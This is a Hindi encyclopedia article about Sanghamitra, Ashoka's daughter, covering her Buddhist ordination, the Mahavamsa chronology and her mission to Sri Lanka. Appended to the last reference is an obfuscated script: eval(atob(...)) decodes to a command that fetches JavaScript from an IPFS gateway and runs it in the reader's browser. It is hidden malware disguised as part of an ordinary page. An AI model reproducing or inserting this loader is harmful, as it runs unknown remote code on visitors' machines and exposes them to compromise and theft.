संघमित्रा

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संघमित्रा, राजकुमार महेन्द्र की भगिनी (बहिन) थी। उत्तर भारत की बुद्ध अनुश्रुतियों के आधार पर महेन्द्र को मौर्य सम्राट अशोक का भाई माना गया है। यद्यपि सिंहली ग्रन्थों और अनुश्रुतियों में संघमित्रा और महेन्द्र भाई-बहिन तथा अशोक की शाक्य रानी विदिशा देवी से उत्पन्न कहे गये हैं।[1]

बौद्ध दीक्षा

कलिंग विजय के बाद अशोक पूर्णत: बौद्ध धर्म को समर्पित हो गया था। उसकी दोनों सन्तानें बड़ी प्रतिभाशाली और तेजस्वी थीं। जिस समय महेन्द्र की आयु 20 वर्ष और संघमित्रा की 18 वर्ष थी, सम्राट अशोक ने महेन्द्र को युवराज घोषित कर दिया। इस अवसर पर बौद्धाचार्य ने कहा कि, "बौद्ध धर्म का वास्तविक मित्र तो वह है, जो धर्मकार्य के लिए अपने पुत्र और पुत्री को समर्पित कर दे।" यह सुनकर सम्राट अशोक ने अपने पुत्र और पुत्री की इच्छा पूछी। पिता के प्रभाव से वे दोनों पहले ही बौद्ध धर्म की ओर आकृष्ट थे। दोनों ने इसे अपना अहोभाग्य समझा और भाई-बहिन दोनों बौद्ध धर्म में दीक्षित हो गए। महेन्द्र का नाम 'धर्मपाल' पड़ा और संघमित्रा 'आयुपाली' कहलाई। महेन्द्र ने 32 वर्ष की आयु में धर्म प्रचार करने के लिए सिंहल द्वीप (श्रीलंका) की यात्रा की। उसके प्रभाव से राजा 'तिष्य' सहित बड़ी संख्या में लोगों ने बौद्ध धर्म को ग्रहण किया।[2]

ऐतिहासिक तथ्य

महावंश से पता चलता है कि अशोक के सबसे बड़े पुत्र महेंद्र और उसकी पुत्री संघमित्रा ने अशोक के अभिषेक के छ्ठे वर्ष में 'प्रवज्या' ली थी। उस समय उनकी उम्र क्रमश: 20 और 18 वर्ष थी। अब यदि अशोक के अभिषेक के तिथि ई.पू. 270 हो तो महेंद्र का जन्म ई.पू. 284 और संघमित्रा का जन्म ई.पू. 282 में हुआ होगा। यह भी उल्लेखनीय है कि अशोक के दामाद अग्निब्रह्मा ने उसके अभिषेक के चौथे वर्ष अर्थात ई.पू. 266 में 'प्रवज्या' ली थी। उस समय वह एक बेटे का बाप बन चुका था। इस प्रकार संघमित्रा से उसका विवाह ई.पू. 268 में अवश्य हो गया होगा, जब संघमित्रा की उम्र चौदह वर्ष रही होगी।[3]

बौद्ध धर्म का प्रचार

सिंहली ग्रन्थों के अनुसार महेन्द्र बौद्ध भिक्षुओं के एक दल का नेतृत्व करता हुआ श्रीलंका गया और वहाँ के सभी निवासियों को बौद्ध धर्म में दीक्षित किया। संघमित्रा भी महेन्द्र के साथ बौद्ध धर्म के प्रचार कार्य में सहयोग देने के लिए श्रीलंका गई थी। उसने भी वहाँ के राजा तिष्य से समस्त परिवार के साथ ही अन्य स्त्रियों को बौद्ध धर्म की दीक्षा दी। आज भी श्रीलंका में उसका नाम बड़े आदर के साथ लिया जाता है।

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 458 |
  2. भारतीय चरित कोश पृ-878
  3. मुखर्जी, राधाकुमुद अशोक (हिंदी)। नई दिल्ली: मोतीलाल बनारसीदास, 7-8।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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